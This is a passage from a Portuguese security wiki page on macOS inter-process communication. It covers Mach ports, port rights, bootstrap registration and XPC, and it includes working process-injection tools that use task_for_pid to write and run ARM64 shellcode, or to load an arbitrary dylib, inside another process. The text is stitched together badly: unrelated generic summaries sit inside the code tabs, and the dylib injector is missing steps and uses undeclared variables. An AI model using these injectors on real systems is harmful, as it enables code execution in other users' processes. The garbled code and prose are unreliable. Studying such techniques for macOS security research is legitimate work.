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macOS IPC - Comunicação entre Processos

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Mensagens Mach via Portas

Informações Básicas

O Mach utiliza tarefas como a unidade mais pequena para compartilhar recursos, e cada tarefa pode conter múltiplas threads. Essas tarefas e threads são mapeadas em uma relação 1:1 com processos e threads POSIX.

A comunicação entre tarefas ocorre via Comunicação entre Processos Mach (IPC), utilizando canais de comunicação unidirecional. As mensagens são transferidas entre portas, que funcionam como filas de mensagens gerenciadas pelo kernel.

Cada processo possui uma tabela IPC, onde é possível encontrar as portas mach do processo. O nome de uma porta mach é na verdade um número (um ponteiro para o objeto do kernel).

Um processo também pode enviar um nome de porta com alguns direitos para uma tarefa diferente e o kernel fará com que essa entrada na tabela IPC da outra tarefa apareça.

Direitos de Porta

Os direitos de porta, que definem quais operações uma tarefa pode realizar, são essenciais para essa comunicação. Os possíveis direitos de porta são (definições daqui):

Direito de Receber, que permite receber mensagens enviadas para a porta. As portas Mach são filas MPSC (múltiplos produtores, um consumidor), o que significa que pode haver apenas um direito de receber para cada porta em todo o sistema (ao contrário de pipes, onde vários processos podem ter descritores de arquivo para a extremidade de leitura de um pipe).
Uma tarefa com o Direito de Receber pode receber mensagens e criar Direitos de Envio, permitindo enviar mensagens. Originalmente, apenas a própria tarefa tem o Direito de Receber sobre sua porta.
Direito de Envio, que permite enviar mensagens para a porta.
O Direito de Envio pode ser clonado para que uma tarefa que possui um Direito de Envio possa clonar o direito e concedê-lo a uma terceira tarefa.
Direito de Envio-único, que permite enviar uma mensagem para a porta e depois desaparece.
Direito de conjunto de portas, que denota um conjunto de portas em vez de uma única porta. Desenfileirar uma mensagem de um conjunto de portas desenfileira uma mensagem de uma das portas que ele contém. Os conjuntos de portas podem ser usados para escutar várias portas simultaneamente, muito parecido com select/poll/epoll/kqueue no Unix.
Nome morto, que não é um direito de porta real, mas apenas um espaço reservado. Quando uma porta é destruída, todos os direitos de porta existentes para a porta se tornam nomes mortos.

As tarefas podem transferir DIREITOS DE ENVIO para outras, permitindo que elas enviem mensagens de volta. Os DIREITOS DE ENVIO também podem ser clonados, para que uma tarefa possa duplicar e dar o direito a uma terceira tarefa. Isso, combinado com um processo intermediário conhecido como servidor de inicialização, permite uma comunicação eficaz entre tarefas.

Portas de Arquivo

Portas de arquivo permitem encapsular descritores de arquivo em portas Mac (usando direitos de porta Mach). É possível criar um fileport a partir de um FD dado usando fileport_makeport e criar um FD a partir de um fileport usando fileport_makefd.

Estabelecendo uma comunicação

Etapas:

Como mencionado, para estabelecer o canal de comunicação, o servidor de inicialização (launchd no Mac) está envolvido.

A Tarefa A inicia uma nova porta, obtendo um direito de RECEBER no processo.
A Tarefa A, sendo a detentora do direito de RECEBER, gera um direito de ENVIO para a porta.
A Tarefa A estabelece uma conexão com o servidor de inicialização, fornecendo o nome do serviço da porta e o direito de ENVIO por meio de um procedimento conhecido como registro de inicialização.
A Tarefa B interage com o servidor de inicialização para executar uma busca de inicialização para o nome do serviço. Se bem-sucedido, o servidor duplica o direito de ENVIO recebido da Tarefa A e transmite para a Tarefa B.
Ao adquirir um direito de ENVIO, a Tarefa B é capaz de formular uma mensagem e enviá-la para a Tarefa A.
Para uma comunicação bidirecional, geralmente a tarefa B gera uma nova porta com um direito de RECEBER e um direito de ENVIO, e dá o direito de ENVIO para a Tarefa A para que ela possa enviar mensagens para a Tarefa B (comunicação bidirecional).

O servidor de inicialização não pode autenticar o nome do serviço reivindicado por uma tarefa. Isso significa que uma tarefa poderia potencialmente fingir ser qualquer tarefa do sistema, como reivindicar falsamente um nome de serviço de autorização e então aprovar cada solicitação.

Então, a Apple armazena os nomes dos serviços fornecidos pelo sistema em arquivos de configuração seguros, localizados em diretórios protegidos pelo SIP: /System/Library/LaunchDaemons e /System/Library/LaunchAgents. Ao lado de cada nome de serviço, o binário associado também é armazenado. O servidor de inicialização criará e manterá um direito de RECEBER para cada um desses nomes de serviço.

Para esses serviços predefinidos, o processo de busca difere ligeiramente. Quando um nome de serviço está sendo procurado, o launchd inicia o serviço dinamicamente. O novo fluxo de trabalho é o seguinte:

A Tarefa B inicia uma busca de inicialização para um nome de serviço.
O launchd verifica se a tarefa está em execução e, se não estiver, a inicia.
A Tarefa A (o serviço) executa um check-in de inicialização. Aqui, o servidor de inicialização cria um direito de ENVIO, o retém e transfere o direito de RECEBER para a Tarefa A.
O launchd duplica o direito de ENVIO e envia para a Tarefa B.
A Tarefa B gera uma nova porta com um direito de RECEBER e um direito de ENVIO, e dá o direito de ENVIO para a Tarefa A (o svc) para que ela possa enviar mensagens para a Tarefa B (comunicação bidirecional).

No entanto, esse processo se aplica apenas a tarefas de sistema predefinidas. Tarefas não pertencentes ao sistema ainda operam conforme descrito originalmente, o que poderia potencialmente permitir a falsificação.

Uma Mensagem Mach

Encontre mais informações aqui

A função mach_msg, essencialmente uma chamada de sistema, é utilizada para enviar e receber mensagens Mach. A função requer que a mensagem seja enviada como argumento inicial. Esta mensagem deve começar com uma estrutura mach_msg_header_t, seguida pelo conteúdo da mensagem real. A estrutura é definida da seguinte forma:

typedef struct {
mach_msg_bits_t               msgh_bits;
mach_msg_size_t               msgh_size;
mach_port_t                   msgh_remote_port;
mach_port_t                   msgh_local_port;
mach_port_name_t              msgh_voucher_port;
mach_msg_id_t                 msgh_id;
} mach_msg_header_t;

Os processos que possuem um direito de recebimento podem receber mensagens em uma porta Mach. Por outro lado, os remetentes recebem um direito de envio ou um direito de envio único. O direito de envio único é exclusivamente para enviar uma única mensagem, após o que se torna inválido.

Para alcançar uma comunicação bidirecional fácil, um processo pode especificar uma porta mach no cabeçalho da mensagem mach chamada porta de resposta (msgh_local_port) onde o receptor da mensagem pode enviar uma resposta a essa mensagem. Os bits de sinalização em msgh_bits podem ser usados para indicar que um direito de envio único deve ser derivado e transferido para esta porta (MACH_MSG_TYPE_MAKE_SEND_ONCE).

{% hint style="success" %} Observe que esse tipo de comunicação bidirecional é usado em mensagens XPC que esperam uma resposta (xpc_connection_send_message_with_reply e xpc_connection_send_message_with_reply_sync). Mas geralmente são criadas portas diferentes como explicado anteriormente para criar a comunicação bidirecional. {% endhint %}

Os outros campos do cabeçalho da mensagem são:

msgh_size: o tamanho do pacote inteiro.
msgh_remote_port: a porta para a qual esta mensagem é enviada.
msgh_voucher_port: vouchers mach.
msgh_id: o ID desta mensagem, que é interpretado pelo receptor.

{% hint style="danger" %} Observe que as mensagens mach são enviadas por uma porta mach, que é um canal de comunicação de um único receptor, múltiplos remetentes integrado ao kernel mach. Múltiplos processos podem enviar mensagens para uma porta mach, mas em qualquer momento apenas um único processo pode ler dela. {% endhint %}

Enumerar portas

lsmp -p <pid>

Pode instalar esta ferramenta no iOS fazendo o download em http://newosxbook.com/tools/binpack64-256.tar.gz

Exemplo de código

Observe como o remetente aloca uma porta, cria um direito de envio para o nome org.darlinghq.example e o envia para o servidor de inicialização enquanto o remetente solicitou o direito de envio desse nome e o usou para enviar uma mensagem.

{% tabs %} {% tab title="receiver.c" %}

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);


// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");


// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");


// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;

kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG,     // Options. We're receiving a message.
0,                // Size of the message being sent, if sending.
sizeof(message),  // Size of the buffer for receiving.
port,             // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");

message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}

{% endtab %}

{% tab title="sender.c" %}

macOS IPC - Comunicação entre Processos

Introdução

A Comunicação entre Processos (IPC) é um mecanismo essencial para que os processos possam trocar informações e coordenar suas atividades em um sistema operacional. No macOS, existem várias formas de IPC disponíveis, como notificações por push, Apple Events, XPC e IPC baseado em porta.

Apple Events

Os Apple Events são uma forma de IPC usada para automatizar aplicativos no macOS. Eles permitem que um aplicativo envie comandos e dados para outro aplicativo, possibilitando a automação de tarefas e a integração entre diferentes aplicativos.

XPC

O XPC é um framework de IPC leve e seguro fornecido pela Apple. Ele permite que os aplicativos dividam tarefas em processos separados, melhorando a estabilidade e segurança do sistema.

IPC baseado em porta

O IPC baseado em porta é uma forma de comunicação entre processos que utiliza portas para enviar mensagens entre processos. No macOS, o IPC baseado em porta é implementado pelo Mach IPC, que é a base para muitos outros mecanismos de IPC no sistema.

Conclusão

Compreender os diferentes mecanismos de IPC disponíveis no macOS é essencial para desenvolver aplicativos seguros e eficientes. Cada forma de IPC tem suas próprias vantagens e limitações, e a escolha do mecanismo adequado depende dos requisitos específicos de cada aplicativo.

{% endtab %}

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);


// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;

message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;

strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;

// Send the message.
kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG,    // Options. We're sending a message.
sizeof(message),  // Size of the message being sent.
0,                // Size of the buffer for receiving.
MACH_PORT_NULL,   // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}

{% endtab %} {% endtabs %}

Portas Privilegiadas

Porta do host: Se um processo tem privilégio de Envio sobre esta porta, ele pode obter informações sobre o sistema (por exemplo, host_processor_info).
Porta de privilégio do host: Um processo com direito de Envio sobre esta porta pode realizar ações privilegiadas como carregar uma extensão de kernel. O processo precisa ser root para obter essa permissão.
Além disso, para chamar a API kext_request, é necessário ter outros privilégios com.apple.private.kext*, que são concedidos apenas a binários da Apple.
Porta do nome da tarefa: Uma versão não privilegiada da porta da tarefa. Ela faz referência à tarefa, mas não permite controlá-la. A única coisa aparentemente disponível por meio dela é task_info().
Porta da tarefa (também conhecida como porta do kernel): Com permissão de Envio sobre esta porta, é possível controlar a tarefa (ler/escrever memória, criar threads...).
Chame mach_task_self() para obter o nome desta porta para a tarefa do chamador. Esta porta é apenas herdada através de exec(); uma nova tarefa criada com fork() obtém uma nova porta de tarefa (como caso especial, uma tarefa também obtém uma nova porta de tarefa após exec() em um binário suid). A única maneira de iniciar uma tarefa e obter sua porta é realizar a "dança de troca de porta" enquanto faz um fork().
Estas são as restrições para acessar a porta (do macos_task_policy do binário AppleMobileFileIntegrity):
- Se o aplicativo tiver o privilégio com.apple.security.get-task-allow, processos do mesmo usuário podem acessar a porta da tarefa (comumente adicionado pelo Xcode para depuração). O processo de notarização não permitirá isso em lançamentos de produção.
- Aplicativos com o privilégio com.apple.system-task-ports podem obter a porta da tarefa de qualquer processo, exceto o kernel. Em versões mais antigas, era chamado de task_for_pid-allow. Isso é concedido apenas a aplicativos da Apple.
- Root pode acessar portas de tarefas de aplicativos não compilados com um tempo de execução fortificado (e não da Apple).

Injeção de Shellcode em thread via Porta da Tarefa

Você pode obter um shellcode em:

{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} arm64-basic-assembly.md {% endcontent-ref %}

// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep

#import <Foundation/Foundation.h>

double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}

int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];

performMathOperations();  // Silent action

[NSThread sleepForTimeInterval:5];
}
}
return 0;
}

{% endtab %}

{% tab title="entitlements.plist" %}

macOS IPC (Comunicação entre Processos)

Introdução

A Comunicação entre Processos (IPC) é um mecanismo essencial para que os processos em um sistema operacional possam interagir entre si. No macOS, existem várias formas de IPC, como notificações por push, Apple Events, XPC e IPC baseado em porta.

Notificações por Push

As notificações por push são usadas para enviar informações entre processos de forma assíncrona. Isso é comumente usado em aplicativos para notificar sobre eventos ou atualizações.

Apple Events

Os Apple Events são uma forma de IPC usada para automatizar tarefas entre aplicativos. Eles permitem que um aplicativo envie comandos para outro aplicativo para que ele execute ações específicas.

XPC

O XPC (XPC Services) é um mecanismo de IPC mais seguro e eficiente introduzido no macOS. Ele permite que os aplicativos dividam tarefas em processos separados, melhorando a segurança e estabilidade do sistema.

IPC baseado em porta

O IPC baseado em porta é usado para comunicação entre processos em um sistema. Cada porta tem um nome único e os processos podem enviar mensagens um para o outro através dessas portas.

Conclusão

Compreender os diferentes métodos de IPC no macOS é essencial para desenvolver aplicativos seguros e estáveis. Cada método tem suas próprias vantagens e casos de uso específicos, e escolher o método certo depende dos requisitos do aplicativo e do nível de segurança desejado.

{% endtab %}

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>

{% endtab %} {% endtabs %}

Compile o programa anterior e adicione as permissões necessárias para poder injetar código com o mesmo usuário (caso contrário, será necessário usar sudo).

sc_injector.m

```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector

#import <Foundation/Foundation.h> #import <AppKit/AppKit.h> #include <mach/mach_vm.h> #include <sys/sysctl.h>

#ifdef arm64

kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );

kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );

#else #include <mach/mach_vm.h> #endif

#define STACK_SIZE 65536 #define CODE_SIZE 128

// ARM64 shellcode that executes touch /tmp/lalala char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";

int inject(pid_t pid){

task_t remoteTask;

// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }

// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }

// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }

// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); return (-3); }

// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); return (-4); }

// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); return (-4); }

// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); return (-3); }

return (0); }

pid_t pidForProcessName(NSString *processName) { NSArray *arguments = @[@"pgrep", processName]; NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@"/usr/bin/env"]; [task setArguments:arguments];

NSPipe *pipe = [NSPipe pipe]; [task setStandardOutput:pipe];

NSFileHandle *file = [pipe fileHandleForReading];

[task launch];

NSData *data = [file readDataToEndOfFile]; NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];

return (pid_t)[string integerValue]; }

BOOL isStringNumeric(NSString str) { NSCharacterSet nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; }

int main(int argc, const char * argv[]) { @autoreleasepool { if (argc < 2) { NSLog(@"Usage: %s ", argv[0]); return 1; }

NSString *arg = [NSString stringWithUTF8String:argv[1]]; pid_t pid;

if (isStringNumeric(arg)) { pid = [arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@"Error: Process named '%@' not found.", arg); return 1; } else{ printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); } }

inject(pid); }

return 0; }

</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>

Injeção de Dylib em thread via porta de Tarefa

No macOS, as threads podem ser manipuladas via Mach ou usando a API posix pthread. A thread gerada na injeção anterior foi gerada usando a api Mach, então não é compatível com posix.

Foi possível injetar um shellcode simples para executar um comando porque não era necessário trabalhar com apis compatíveis com posix, apenas com Mach. Injeções mais complexas precisariam que a thread também fosse compatível com posix.

Portanto, para melhorar a thread, ela deve chamar pthread_create_from_mach_thread que irá criar um pthread válido. Em seguida, este novo pthread poderia chamar dlopen para carregar uma dylib do sistema, então em vez de escrever novo shellcode para realizar ações diferentes, é possível carregar bibliotecas personalizadas.

Você pode encontrar exemplos de dylibs em (por exemplo, aquele que gera um log e então você pode ouvi-lo):

{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %} macos-dyld-hijacking-and-dyld_insert_libraries.md {% endcontent-ref %}

dylib_injector.m

```objectivec // gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector // Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c #include #include #include #include <sys/types.h> #include <mach/mach.h> #include <mach/error.h> #include #include #include <sys/sysctl.h> #include <sys/mman.h>

#include <sys/stat.h> #include <pthread.h>

#ifdef arm64 //#include "mach/arm/thread_status.h"

// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported // And I say, bullshit. kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );

kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );

#else #include <mach/mach_vm.h> #endif

#define STACK_SIZE 65536 #define CODE_SIZE 128

char injectedCode[] =

// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)

// Call pthread_set_self

"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables "\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack "\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer "\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the "\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0; "\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start "\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0; "\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread) "\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread "\x00\x00\x00\x14" // loop: b loop ; loop forever

// Call dlopen with the path to the library "\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB..."; "\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0; "\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop "\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()

// Call pthread_exit "\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT "\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0; "\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit

"PTHRDCRT" // <- "PTHRDEXT" // <- "DLOPEN__" // <- "LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;

int inject(pid_t pid, const char *lib) {

task_t remoteTask; struct stat buf;

// Check if the library exists int rc = stat (lib, &buf);

if (rc != 0) { fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno)); //return (-9); }

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }

// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }

// Patch shellcode

int i = 0; char *possiblePatchLocation = (injectedCode ); for (i = 0 ; i < 0x100; i++) {

// Patching is crude, but works. // extern void *_pthread_set_self; possiblePatchLocation++;

uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread; uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit; uint64_t addrOfDlopen = (uint64_t) dlopen;

if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0) { memcpy(possiblePatchLocation, &addrOfPthreadExit,8); printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit); }

if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0) { memcpy(possiblePatchLocation, &addrOfPthreadCreate,8); printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate); }

if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0) { printf ("DLOpen @%llx\n", addrOfDlopen); memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t)); }

if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0) { strcpy(possiblePatchLocation, lib ); } }

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); return (-3); }

// Set the permissions on the allocated code memory

kr  = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Não foi possível definir as permissões de memória para o código da thread remota: Erro %s\n", mach_error_string(kr));
return (-4);
}

// Definir as permissões na memória alocada para a pilha
kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Não foi possível definir as permissões de memória para a pilha da thread remota: Erro %s\n", mach_error_string(kr));
return (-4);
}


// Criar thread para executar o shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t         remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // esta é a pilha real
//remoteStack64 -= 8;  // necessita alinhamento de 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Pilha Remota 64  0x%llx, Código Remoto é %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) {
fprintf(stderr,"Não foi possível criar a thread remota: erro %s", mach_error_string (kr));
return (-3);
}

return (0);
}



int main(int argc, const char * argv[])
{
if (argc < 3)
{
fprintf (stderr, "Uso: %s _pid_ _ação_\n", argv[0]);
fprintf (stderr, "   _ação_: caminho para um dylib no disco\n");
exit(0);
}

pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;

int rc = stat (action, &buf);
if (rc == 0) inject(pid,action);
else
{
fprintf(stderr,"Dylib não encontrado\n");
}

}

```bash gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector ./inject </path/to/lib.dylib> ``` ### Sequestro de Thread via porta de tarefa

Nesta técnica, uma thread do processo é sequestrada:

{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md" %} macos-thread-injection-via-task-port.md {% endcontent-ref %}

XPC

Informações Básicas

XPC, que significa Comunicação entre Processos XNU (o kernel usado pelo macOS), é um framework para comunicação entre processos no macOS e iOS. XPC fornece um mecanismo para fazer chamadas de método seguras e assíncronas entre diferentes processos no sistema. É parte do paradigma de segurança da Apple, permitindo a criação de aplicativos com separação de privilégios onde cada componente é executado com apenas as permissões necessárias para realizar seu trabalho, limitando assim os danos potenciais de um processo comprometido.

Para obter mais informações sobre como essa comunicação funciona e como ela pode ser vulnerável, confira:

{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/" %} macos-xpc {% endcontent-ref %}

MIG - Gerador de Interface Mach

O MIG foi criado para simplificar o processo de criação de código Mach IPC. Basicamente, ele gera o código necessário para o servidor e o cliente se comunicarem com uma definição fornecida. Mesmo que o código gerado seja feio, um desenvolvedor só precisará importá-lo e seu código será muito mais simples do que antes.

Para mais informações, confira:

